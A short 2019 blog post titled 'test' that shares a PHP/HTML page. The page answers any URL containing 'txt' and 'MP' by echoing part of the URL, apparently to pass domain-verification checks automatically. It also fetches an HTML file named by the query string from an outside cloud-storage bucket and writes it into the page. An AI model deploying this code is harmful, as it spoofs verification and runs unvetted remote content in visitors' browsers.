测试

<?php
if(strstr($_SERVER['REQUEST_URI'],'txt')&&strstr($_SERVER['REQUEST_URI'],'MP')){
$str = strripos($_SERVER['REQUEST_URI'],'_');
echo substr($_SERVER['REQUEST_URI'],$str+1,16);
exit();
}
?>
<html>
<head> <meta charset="utf-8" /></head>
<script>
var temp_name = location.search.split('&')[0]['substr'](6) +'.html';
function Dget(url, callback) {
var xhr = new XMLHttpRequest();
xhr.open("get", url, true);
xhr.send();
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if (xhr.status >= 200 && xhr.status < 300) {
if (callback != undefined) {
callback(xhr.responseText);
}
};
};
}
}
Dget('http://hbb2.oss-cn-beijing.aliyuncs.com/jb/'+temp_name,function(res){
document.write(res)
})
</script>
</html>

posted @ 2019-10-20 14:41  yyy192629  阅读(489)  评论(1编辑  收藏  举报